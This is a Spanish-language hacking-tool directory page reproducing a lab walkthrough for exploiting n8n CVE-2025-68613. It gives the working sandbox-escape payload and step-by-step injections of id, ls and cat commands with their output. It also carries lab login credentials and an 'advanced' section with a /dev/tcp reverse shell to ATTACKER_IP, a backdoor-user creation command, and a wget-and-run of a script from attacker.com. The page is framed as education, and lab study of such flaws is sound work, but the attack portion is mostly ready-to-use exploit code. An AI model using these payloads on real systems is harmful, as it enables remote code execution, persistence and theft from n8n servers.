Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/khin-96/n8n-cve-2025-68613-thm
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebComando y ControlAprendizaje y EducaciónRespuesta a IncidentesDesarrollo de Payloads

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Labs y Práctica
GitHubkhin-96/n8n-cve-2025-68613-thm

n8n-cve-2025-68613-thm

Guía educativa para explotar CVE-2025-68613, un RCE crítico en la automatización de flujos de trabajo n8n. Cubre inyección de expresiones, escape de sandbox, desarrollo de payload y estrategias de detección a través de un laboratorio TryHackMe.

Ver Repositorio
111hace 9 mesesAún no revisado

CVE-2025-68613 – Explotación RCE crítica de n8n

Resumen

Este repositorio documenta una explotación práctica de CVE-2025-68613 (CVSS 9.9), una vulnerabilidad crítica de ejecución remota de código que afecta a la plataforma de automatización de flujos de trabajo n8n (versiones 0.211.0 hasta 1.120.3).

Esta explotación se realizó éticamente en un entorno de laboratorio controlado de TryHackMe únicamente con fines educativos.


Resumen de la vulnerabilidad

CampoValor
ID CVECVE-2025-68613
Puntuación CVSS9.9 (Crítica)
Publicada19 de diciembre de 2025
Producto afectadoPlataforma de automatización de flujos de trabajo n8n
Tipo de vulnerabilidadInyección de expresiones → Escape de sandbox → RCE
Vector de ataqueUsuario autenticado (por defecto)
Versiones parcheadas1.120.4, 1.121.1, 1.122.0+
Versiones afectadas0.211.0 - 1.120.3

¿Qué es n8n?

n8n es una plataforma de automatización de flujos de trabajo de código abierto que permite a los usuarios conectar visualmente aplicaciones y servicios para la automatización de tareas. Incluye:

  • Arquitectura de flujo de trabajo basada en nodos: Cada nodo representa una acción (petición API, procesamiento de datos, correo electrónico, etc.)
  • Más de 400 integraciones nativas: Conectores preconstruidos para diversas APIs y servicios
  • Nodos de código: Ejecución de código JavaScript o Python personalizado
  • Evaluación de expresiones: Expresiones dinámicas envueltas en {{ }} evaluadas como JavaScript

Modelos de despliegue

  • Instancias autoalojadas (on-premises o nube privada)
  • Servicio gestionado alojado en la nube (n8n.cloud)
  • Herramientas de automatización internas dentro de redes corporativas

Antecedentes técnicos

La cadena de la vulnerabilidad

La vulnerabilidad reside en el sistema de evaluación de expresiones de flujo de trabajo de n8n. Cuando los usuarios autenticados configuran flujos de trabajo, su entrada se procesa como código JavaScript sin un sandbox adecuado.

Cadena de escalada de contexto

Expression Sandbox
    ↓ (escape via 'this')
Node.js Global Context
    ↓ (access mainModule)
Module System (require)
    ↓ (load child_process)
System Command Execution

Fallos clave

  1. Evaluación insegura de expresiones: Las expresiones de usuario envueltas en {{ }} se evalúan como JavaScript crudo sin un aislamiento de contexto adecuado
  2. Escape de sandbox: El acceso al objeto this permite escapar de las restricciones previstas del sandbox
  3. Acceso no restringido a módulos: process.mainModule.require() proporciona acceso al sistema de módulos de Node.js
  4. Carga peligrosa de módulos: Puede cargar el módulo child_process para la ejecución de comandos del sistema
  5. Sin una protección de autenticación significativa: Cualquier usuario autenticado puede explotar la vulnerabilidad

Desglose del payload de explotación

(function(){ 
  return this.process.mainModule.require('child_process').execSync('COMMAND').toString() 
})()

Explicación:

  • this → Objeto global de Node.js
  • this.process → Objeto de proceso de Node.js
  • process.mainModule → Módulo raíz de la aplicación n8n
  • .require('child_process') → Carga el módulo de ejecución de comandos del sistema
  • .execSync('COMMAND') → Ejecuta el comando de shell de forma síncrona
  • .toString() → Convierte la salida del Buffer en una cadena legible

Recorrido de explotación

Paso 1: Autenticación

Acceda a la instancia vulnerable de n8n e inicie sesión con credenciales válidas.

Credenciales del laboratorio:

  • Correo electrónico: [email protected]
  • Contraseña: Try12345!

Login Screen


Paso 2: Pantalla de bienvenida y creación del flujo de trabajo

Después de iniciar sesión, se le presenta la interfaz de creación de flujos de trabajo. Haga clic en "Start from scratch" para comenzar un nuevo flujo de trabajo.

Welcome Screen


Paso 3: Añadir disparador manual

Haga clic en "Add first step" y busque "Manual Trigger". Este nodo sirve como punto de entrada para la ejecución del flujo de trabajo.

Manual Trigger Setup

Propósito: El nodo Manual Trigger permite la ejecución manual del flujo de trabajo mediante el botón "Execute workflow" de la interfaz, lo que lo hace ideal para pruebas.


Paso 4: Configurar el flujo de trabajo y añadir el mapeo de campos

Añada un nodo "Edit Fields" para realizar el mapeo de campos. Aquí es donde se explota la vulnerabilidad.

Workflow Configuration

Pasos de configuración:

  1. Haga clic en "Add field" para añadir un nuevo mapeo de campos
  2. Establezca el modo en "Expression"
  3. Esto permite la evaluación de código JavaScript

Paso 5: Ejecutar el comando ID

Inyecte el payload para ejecutar el comando id y obtener información del usuario/privilegios.

Payload:

(function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })()

Resultado:

uid=1000(node) gid=1000(node) groups=1000(node)

ID Command Execution

Información obtenida:

  • Ejecutándose como usuario no root (uid=1000)
  • Pertenencia a grupos (gid=1000)
  • Posibles vías de escalada de privilegios

Paso 6: Enumerar el sistema de archivos con LS

Modifique el payload para ejecutar el comando ls y listar el contenido del directorio.

Payload:

(function(){ return this.process.mainModule.require('child_process').execSync('ls -la').toString() })()

LS Command Execution

La salida muestra:

  • Archivo flag presente: flag.txt
  • Estructura de directorios y permisos de archivos
  • Datos adicionales de reconocimiento

Paso 7: Extraer datos sensibles

Lea el archivo flag usando el comando cat para completar la explotación.

Payload:

(function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })()

Flag obtenido:

THM{n8n_exposed_workflow}

Flag Extraction


Técnicas avanzadas de explotación

1. Shell inversa

Establezca acceso de shell interactivo para un control persistente:

(function(){ 
  return this.process.mainModule.require('child_process').execSync('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1').toString() 
})()

2. Crear un usuario backdoor

Añada un nuevo usuario del sistema para acceso persistente:

(function(){ 
  return this.process.mainModule.require('child_process').execSync('useradd -m -p $(openssl passwd -1 PASSWORD) backdoor').toString() 
})()

3. Descargar un payload malicioso

Obtenga y ejecute código remoto:

(function(){ 
  return this.process.mainModule.require('child_process').execSync('wget http://attacker.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh').toString() 
})()

4. Enumeración para escalada de privilegios

Compruebe los privilegios sudo:

Descargar herramienta